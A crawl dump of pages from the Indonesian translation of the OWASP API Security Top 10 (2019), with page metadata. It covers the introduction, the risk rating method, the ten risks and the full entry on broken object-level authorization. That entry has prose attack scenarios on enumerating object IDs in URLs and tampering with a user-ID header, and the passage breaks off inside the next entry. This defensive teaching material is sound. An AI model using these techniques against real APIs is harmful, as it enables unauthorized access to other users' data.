"2026-09-14 00:39:16", "sha256": "f8b1f997b83417071a31b14608bf2dcd1849c012b7671697d3b8b2c7da17dafb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x00-toc/", "titulek": "Daftar Isi - OWASP API Security Top 10", "h1": "Daftar Isi", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x00-toc/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Daftar Isi"}], "markdown": "# Daftar Isi\n\n- [Daftar Isi](./)\n- [Tentang OWASP](../0x01-about-owasp/)\n- [Kata Pengantar](../0x02-foreword/)\n- [Pengenalan](../0x03-introduction/)\n- [Catatan Rilis](../0x04-release-notes/)\n- [Ancaman Keamanan API](../0x10-api-security-risks/)\n- [OWASP Top 10 Ancaman Keamanan API – 2019](../0x11-t10/)\n- [API1:2019 Otorisasi Objek Rusak](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Otentikasi Pengguna Rusak](../0xa2-broken-user-authentication/)\n- [API3:2019 Paparan Data Berlebihan](../0xa3-excessive-data-exposure/)\n- [API4:2019 Kurangnya Sumber Daya & Pembatasan Tingkat](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Otorisasi Tingkat Fungsi Rusak](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Penugasan Massal](../0xa6-mass-assignment/)\n- [API7:2019 Konfigurasi Keamanan yang Salah](../0xa7-security-misconfiguration/)\n- [API8:2019 Injeksi](../0xa8-injection/)\n- [API9:2019 Pengelolaan Aset yang Tidak Tepat](../0xa9-improper-assets-management/)\n- [API10:2019 Pencatatan & Pemantauan yang Kurang Memadai](../0xaa-insufficient-logging-monitoring/)\n- [Apa yang Selanjutnya untuk Pengembang](../0xb0-next-devs/)\n- [Apa yang Selanjutnya untuk DevSecOps](../0xb1-next-devsecops/)\n- [Metodologi dan Data](../0xd0-about-data/)\n- [Ucapan Terima Kasih](../0xd1-acknowledgments/)", "znaku_textu": 1292, "slov": 133, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:27", "sha256": "40080a2266b3644fcd4da0974d422ee6f5097edbf47a0c18af8b12ec5c794850", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x01-about-owasp/", "titulek": "Tentang OWASP - OWASP API Security Top 10", "h1": "Tentang OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x01-about-owasp/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Tentang OWASP"}, {"uroven": 2, "text": "Hak Cipta dan Lisensi"}], "markdown": "# Tentang OWASP\n\nOpen Web Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan\nuntuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan\nAPI yang dapat dipercaya.\n\nDi OWASP, Anda akan menemukan yang gratis dan terbuka:\n\n- Alat dan standar keamanan aplikasi.\n- Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan \n tinjauan kode yang aman.\n- Presentasi dan [video](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Lembar cheats](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) tentang banyak topik umum.\n- Kontrol keamanan dan pustaka standar.\n- [Chapter lokal di seluruh dunia](https://www.owasp.org/index.php/OWASP_Chapter) .\n- Penelitian mutakhir.\n- [Konferensi luas di seluruh dunia](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Mailing list](https://lists.owasp.org/mailman/listinfo) .\n\nPelajari lebih lanjut di: [https://www.owasp.org](https://www.owasp.org).\n\nSemua alat OWASP, dokumen, video, presentasi, dan bab bebas dan\nterbuka untuk siapa saja yang tertarik meningkatkan keamanan aplikasi.\n\nKami menganjurkan pendekatan keamanan aplikasi sebagai masalah orang, proses, dan\nteknologi, karena pendekatan keamanan aplikasi paling efektif memerlukan peningkatan di bidang ini.\n\nOWASP adalah jenis organisasi baru. Kebebasan kami dari tekanan komersial\nmemungkinkan kami untuk menyediakan informasi keamanan aplikasi yang tidak memihak, praktis, dan hemat biaya.\n\nOWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung\npenggunaan teknologi keamanan komersial yang cerdas. OWASP memproduksi banyak jenis\nbahan dengan cara kolaboratif, transparan, dan terbuka.\n\nYayasan OWASP adalah entitas nirlaba yang memastikan kesuksesan jangka panjang proyek.\nHampir semua orang yang terkait dengan OWASP adalah relawan,\ntermasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung \npenelitian keamanan inovatif dengan hibah dan infrastruktur.\n\nAyo bergabung dengan kami!\n\n## Hak Cipta dan Lisensi\n\nHak Cipta © 2003-2019 Yayasan OWASP. Dokumen ini dirilis di bawah\n[Creative Commons Attribution Share-Alike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/). Untuk penggunaan ulang atau\ndistribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini.", "znaku_textu": 2325, "slov": 267, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:36", "sha256": "f3c972222a29069cdd38cf406d4280305259d2b886d1837ee8b7b5a05ca5658d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x02-foreword/", "titulek": "Kata Pengantar - OWASP API Security Top 10", "h1": "Kata Pengantar", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x02-foreword/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Kata Pengantar"}], "markdown": "# Kata Pengantar\n\nElemen dasar inovasi di dunia aplikasi yang digerakkan saat ini adalah \nAntarmuka Pemrograman Aplikasi (API). Dari bank, ritel, dan transportasi\nhingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting \ndari aplikasi seluler, SaaS, dan web modern dan dapat ditemukan di aplikasi menghadap pelanggan, \nmenghadap mitra, dan internal.\n\nKarena sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi (PII) dan karena itu, \nAPI semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan mustahil.\n\nMeskipun risiko keamanan web aplikasi yang lebih luas Top 10 masih masuk akal,\nkarena sifat khusus mereka, daftar risiko keamanan API spesifik diperlukan.\nKeamanan API berfokus pada strategi dan solusi untuk memahami dan mengurangi \nkerentanan dan risiko keamanan yang unik terkait dengan API.\n\nJika Anda sudah familiar dengan [Proyek OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), maka Anda akan melihat\nkesamaan antara kedua dokumen: keduanya ditujukan untuk keterbacaan dan adopsi. Jika Anda baru mengenal \nseri OWASP Top 10, mungkin lebih baik membaca bagian [Risiko Keamanan API](../0x10-api-security-risks/) dan [Metodologi dan Data](../0xd0-about-data/) \nsebelum melompat ke daftar 10 besar.\n\nAnda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar,\ndan ide Anda di repositori proyek GitHub kami:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nAnda dapat menemukan OWASP API Security Top 10 di sini:\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nKami ingin berterima kasih kepada semua kontributor yang membuat proyek ini dimungkinkan dengan upaya dan kontribusi mereka. \nMereka semua tercantum di bagian [Ucapan Terima Kasih](../0xd1-acknowledgments/). Terima kasih!", "znaku_textu": 1925, "slov": 243, "odkazu": 62, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:45", "sha256": "3d7baf67a8de63e1d807787a89a15a42b3b4ec96b4d2c2daaccd6c0bfae80464", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x03-introduction/", "titulek": "Pendahuluan - OWASP API Security Top 10", "h1": "Pendahuluan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x03-introduction/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Pendahuluan"}, {"uroven": 2, "text": "Selamat Datang di OWASP API Security Top 10 - 2019!"}], "markdown": "# Pendahuluan\n\n## Selamat Datang di OWASP API Security Top 10 - 2019!\n\nSelamat datang di edisi pertama OWASP API Security Top 10. Jika Anda sudah akrab dengan seri OWASP Top 10, Anda akan melihat kesamaannya: tujuannya adalah mudah dibaca dan diadopsi. Jika tidak, pertimbangkan untuk mengunjungi [halaman wiki OWASP API Security Project](https://www.owasp.org/index.php/OWASP_API_Security_Project), sebelum menggali lebih dalam tentang risiko keamanan API yang paling kritis.\n\nAPI memainkan peran yang sangat penting dalam arsitektur aplikasi modern. Karena penciptaan kesadaran keamanan dan inovasi memiliki tempo yang berbeda, penting untuk fokus pada kelemahan keamanan API yang umum.\n\nTujuan utama OWASP API Security Top 10 adalah untuk mendidik mereka yang terlibat dalam pengembangan dan pemeliharaan API, misalnya pengembang, desainer, arsitek, manajer, atau organisasi.\n\nDi bagian [Metodologi dan Data](../0xd0-about-data/), Anda dapat membaca lebih lanjut tentang bagaimana edisi pertama ini dibuat. Di versi mendatang, kami ingin melibatkan industri keamanan, dengan panggilan data publik. Untuk saat ini, kami mendorong semua orang untuk berkontribusi dengan pertanyaan, komentar, dan ide di repositori [GitHub](https://github.com/OWASP/API-Security) atau [Mailing list](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project) kami.", "znaku_textu": 1351, "slov": 170, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:54", "sha256": "075a205d37ee667058cb29448b6ee598bb2400a15e9de182d9954f29083d345c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x04-release-notes/", "titulek": "Catatan Rilis - OWASP API Security Top 10", "h1": "Catatan Rilis", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x04-release-notes/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Catatan Rilis"}], "markdown": "# Catatan Rilis\n\nIni adalah edisi OWASP API Security Top 10 pertama, yang direncanakan akan diperbarui secara berkala, setiap tiga atau empat tahun sekali.\n\nTidak seperti versi ini, di versi mendatang, kami ingin melakukan panggilan data publik, melibatkan industri keamanan dalam upaya ini. Di bagian [Metodologi dan Data](../0xd0-about-data/), Anda akan menemukan detail lebih lanjut tentang bagaimana versi ini dibangun. Untuk detail lebih lanjut tentang risiko keamanan, harap merujuk pada bagian [API Security Risks](../0x10-api-security-risks/).\n\nPenting untuk menyadari bahwa selama beberapa tahun terakhir, arsitektur aplikasi telah berubah secara signifikan. Saat ini, API memainkan peran yang sangat penting dalam arsitektur baru ini dari mikroservis, Single Page Applications (SPAs), aplikasi seluler, IoT, dan lainnya.\n\nOWASP API Security Top 10 merupakan upaya yang dibutuhkan untuk menciptakan kesadaran tentang masalah keamanan API modern. Hanya mungkin karena upaya besar dari beberapa sukarelawan, semuanya terdaftar di bagian [Penghargaan](../0xd1-acknowledgments/). Terima kasih!", "znaku_textu": 1092, "slov": 147, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:04", "sha256": "aa8431630375dcef564fd40e053b9d0cc6856ba2c4e55515b5c5c2c23fdd2372", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x10-api-security-risks/", "titulek": "Risiko Keamanan API - OWASP API Security Top 10", "h1": "Risiko Keamanan API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x10-api-security-risks/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Risiko Keamanan API"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# Risiko Keamanan API\n\n[OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) digunakan untuk melakukan analisis risiko.\n\nTabel di bawah ini merangkum terminologi yang terkait dengan skor risiko.\n\n| Agen Ancaman | Dapat Dieksploitasi | Prevalensi Kelemahan | Dapat Dideteksi Kelemahan | Dampak Teknis | Dampak Bisnis |\n| --- | --- | --- | --- | --- | --- |\n| Khusus API | Mudah: **3** | Luas **3** | Mudah **3** | Parah **3** | Spesifik Bisnis |\n| Khusus API | Rata-rata: **2** | Umum **2** | Rata-rata **2** | Sedang **2** | Spesifik Bisnis |\n| Khusus API | Sulit: **1** | Sulit **1** | Sulit **1** | Minor **1** | Spesifik Bisnis |\n\n**Catatan**: Pendekatan ini tidak memperhitungkan kemungkinan agen ancaman. Juga tidak memperhitungkan berbagai detail teknis yang terkait dengan aplikasi tertentu Anda. Faktor-faktor apa pun dapat secara signifikan mempengaruhi kemungkinan keseluruhan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Peringkat ini tidak memperhitungkan dampak aktual pada bisnis Anda. Organisasi Anda harus memutuskan seberapa banyak risiko keamanan dari aplikasi dan API yang akan diterima organisasi mengingat budaya, industri, dan lingkungan peraturan Anda. Tujuan OWASP API Security Top 10 bukan untuk melakukan analisis risiko ini untuk Anda.\n\n## Referensi\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### Eksternal\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 1884, "slov": 200, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:12", "sha256": "37c88a01e960e5d345bba3aaf6f83a7e8115553c4806375cb01b7a198ce4c3c3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0x11-t10/", "titulek": "OWASP Top 10 Risiko Keamanan API – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 Risiko Keamanan API – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0x11-t10/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Risiko Keamanan API – 2019"}], "markdown": "# OWASP Top 10 Risiko Keamanan API – 2019\n\n| Risiko | Deskripsi |\n| --- | --- |\n| API1:2019 - Otorisasi Tingkat Objek yang Rusak | API cenderung mengekspos endpoint yang menangani pengidentifikasi objek, menciptakan masalah Otorisasi Akses Tingkat yang luas. Pemeriksaan otorisasi tingkat objek harus dipertimbangkan dalam setiap fungsi yang mengakses sumber data menggunakan input dari pengguna. |\n| API2:2019 - Otentikasi Pengguna yang Rusak | Mekanisme otentikasi sering diimplementasikan dengan salah, memungkinkan penyerang mengkompromikan token otentikasi atau memanfaatkan celah implementasi untuk mengambil alih identitas pengguna lain sementara atau permanen. Mengompromikan kemampuan sistem untuk mengidentifikasi klien/pengguna, mengkompromikan keamanan API secara keseluruhan. |\n| API3:2019 - Pemaparan Data yang Berlebihan | Menantikan implementasi generik, pengembang cenderung mengekspos semua properti objek tanpa mempertimbangkan sensitivitas individu mereka, mengandalkan klien untuk melakukan penyaringan data sebelum menampilkannya ke pengguna. |\n| API4:2019 - Kurangnya Sumber Daya & Pembatasan Laju | Cukup sering, API tidak memberlakukan pembatasan apa pun pada ukuran atau jumlah sumber daya yang dapat diminta oleh klien/pengguna. Tidak hanya dapat berdampak pada kinerja server API, yang mengarah ke Denial of Service (DoS), tetapi juga membiarkan pintu terbuka untuk celah otentikasi seperti brute force. |\n| API5:2019 - Otorisasi Tingkat Fungsi yang Rusak | Kebijakan kontrol akses kompleks dengan hierarki, kelompok, dan peran yang berbeda, dan pemisahan yang tidak jelas antara fungsi administratif dan reguler, cenderung mengarah pada celah otorisasi. Dengan memanfaatkan masalah ini, penyerang mendapatkan akses ke sumber daya pengguna lain dan/atau fungsi administratif. |\n| API6:2019 - Mass Assignment | Mengikat data yang disediakan klien (misalnya, JSON) ke model data, tanpa penyaringan properti yang tepat berdasarkan daftar putih, biasanya mengarah ke Mass Assignment. Menebak properti objek, mengeksplorasi titik akhir API lainnya, membaca dokumentasi, atau menyediakan properti objek tambahan dalam muatan permintaan, memungkinkan penyerang memodifikasi properti objek yang seharusnya tidak mereka lakukan. |\n| API7:2019 - Kesalahan Konfigurasi Keamanan | Kesalahan konfigurasi keamanan umumnya merupakan hasil dari konfigurasi default yang tidak aman, konfigurasi yang tidak lengkap atau ad-hoc, penyimpanan cloud terbuka, header HTTP yang dikonfigurasi salah, metode HTTP yang tidak perlu, berbagi sumber daya Cross-Origin (CORS) yang longgar, dan pesan kesalahan yang terperinci mengandung informasi sensitif. |\n| API8:2019 - Injeksi | Celah injeksi, seperti SQL, NoSQL, Command Injection, dll., terjadi ketika data yang tidak dipercaya dikirim ke interpreter sebagai bagian dari perintah atau kueri. Data berbahaya penyerang dapat menipu interpreter untuk mengeksekusi perintah yang tidak diinginkan atau mengakses data tanpa otorisasi yang tepat. |\n| API9:2019 - Pengelolaan Aset yang Tidak Tepat | API cenderung mengekspos lebih banyak endpoint daripada aplikasi web tradisional, sehingga dokumentasi yang tepat dan terbaru sangat penting. Inventarisasi host dan versi API yang diterapkan yang tepat juga memainkan peran penting untuk memitigasi masalah seperti versi API usang dan endpoint debug yang terekspos. |\n| API10:2019 - Logging & Pemantauan yang Tidak Memadai | Pencatatan dan pemantauan yang tidak memadai, dipasangkan dengan integrasi insiden yang hilang atau tidak efektif, memungkinkan penyerang untuk menyerang sistem lebih lanjut, mempertahankan persistensi, berpindah ke lebih banyak sistem untuk mengutak-atik, mengekstrak, atau menghancurkan data. Sebagian besar studi pelanggaran menunjukkan waktu untuk mendeteksi pelanggaran adalah lebih dari 200 hari, biasanya dideteksi oleh pihak eksternal daripada proses internal atau pemantauan. |", "znaku_textu": 3825, "slov": 482, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:21", "sha256": "c467b0348865905db0cee721370d472e88fe9fbe41500378cb0b7a3e6798087d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Otorisasi Tingkat Objek yang Rusak - OWASP API Security Top 10", "h1": "API1:2019 Otorisasi Tingkat Objek yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa1-broken-object-level-authorization/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Otorisasi Tingkat Objek yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API1:2019 Otorisasi Tingkat Objek yang Rusak\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **3** : Spesifik Bisnis |\n| Penyerang dapat memanfaatkan endpoint API yang rentan terhadap otorisasi tingkat objek yang rusak dengan memanipulasi ID objek yang dikirim dalam permintaan. Hal ini dapat menyebabkan akses tidak sah ke data sensitif. Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak status klien, dan sebaliknya, lebih bergantung pada parameter seperti ID objek, yang dikirim dari klien untuk memutuskan objek mana yang akan diakses. | Ini telah menjadi serangan paling umum dan berdampak pada API. Mekanisme otorisasi dan kontrol akses dalam aplikasi modern kompleks dan meluas. Bahkan jika aplikasi mengimplementasikan infrastruktur yang tepat untuk pemeriksaan otorisasi, pengembang mungkin lupa menggunakan pemeriksaan ini sebelum mengakses objek sensitif. Deteksi kontrol akses biasanya tidak dapat diterapkan untuk pengujian statis atau dinamis otomatis. | Akses tidak sah dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Akses tidak sah ke objek juga dapat mengarah ke pengambilalihan akun secara penuh. |\n\n## Apakah API Rentan?\n\nOtorisasi tingkat objek adalah mekanisme kontrol akses yang biasanya diimplementasikan di tingkat kode untuk memvalidasi bahwa satu pengguna hanya dapat mengakses objek yang seharusnya mereka akses.\n\nSetiap endpoint API yang menerima ID objek, dan melakukan jenis tindakan apa pun pada objek, harus menerapkan pemeriksaan otorisasi tingkat objek. Pemeriksaan harus memvalidasi bahwa pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada objek yang diminta.\n\nKegagalan dalam mekanisme ini biasanya menyebabkan pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nPlatform e-commerce untuk toko online (toko) menyediakan halaman daftar dengan grafik pendapatan untuk toko hosting mereka. Memeriksa permintaan browser, penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat mendapatkan daftar semua nama toko yang di-host. Dengan skrip sederhana untuk memanipulasi nama di daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce.\n\n### Skenario #2\n\nSaat memantau lalu lintas jaringan perangkat wearable, permintaan HTTP `PATCH` berikut menarik perhatian penyerang karena adanya header permintaan HTTP kustom `X-User-Id: 54796`. Mengganti nilai `X-User-Id` dengan `54795`, penyerang menerima respons HTTP yang berhasil, dan dapat memodifikasi data akun pengguna lain.\n\n## Cara Mencegah\n\n- Implementasikan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna.\n- Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di database.\n- Lebih baik menggunakan nilai acak dan tidak terduga sebagai ID catatan.\n- Menulis tes untuk mengevaluasi mekanisme otorisasi. Jangan menerapkan perubahan rentan yang merusak tes.\n\n## Referensi\n\n### Eksternal\n\n- [CWE-284: Kontrol Akses yang Tidak Tepat](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Otorisasi yang Tidak Tepat](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Otorisasi Melewati Kunci yang Dikendalikan Pengguna](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 3689, "slov": 479, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:30", "sha256": "aff7e297189f570f69ea872ff27db3c12cdff8afded7ab0e194d72534c12976b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa2-broken-user-authentication/", "titulek": "API2:2019 Otentikasi Pengguna yang Rusak - OWASP API Security Top 10", "h1": "API2:2019 Otentikasi Pengguna yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa2-broken-user-authentication/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Otentikasi Pengguna yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 2, "text": "Skenario #1"}, {"uroven": 2, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API2:2019 Otentikasi Pengguna yang Rusak\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **3** : Spesifik Bisnis |\n| Otentikasi dalam API adalah mekanisme yang kompleks dan membingungkan. Insinyur perangkat lunak dan keamanan mungkin memiliki kesalahpahaman tentang batasan otentikasi dan cara mengimplementasikannya dengan benar. Selain itu, mekanisme otentikasi adalah target yang mudah bagi penyerang, karena terbuka untuk semua orang. Dua poin ini membuat komponen otentikasi berpotensi rentan terhadap banyak eksploitasi. | Ada dua sub-masalah: 1. Kurangnya mekanisme perlindungan: endpoint API yang bertanggung jawab untuk otentikasi harus diperlakukan berbeda dari endpoint reguler dan menerapkan lapisan perlindungan tambahan 2. Kesalahan implementasi mekanisme: Mekanisme digunakan/diimplementasikan tanpa mempertimbangkan vektor serangan, atau itu kasus penggunaan yang salah (misalnya, mekanisme otentikasi yang dirancang untuk klien IoT mungkin bukan pilihan yang tepat untuk aplikasi web). | Penyerang dapat mengambil alih akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka, seperti transaksi uang dan mengirim pesan pribadi. |\n\n## Apakah API Rentan?\n\nTitik akhir dan alur otentikasi adalah aset yang perlu dilindungi. “Lupa kata sandi / reset kata sandi” harus diperlakukan sama seperti mekanisme otentikasi.\n\nAPI rentan jika:\n* Mengizinkan [credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) di mana 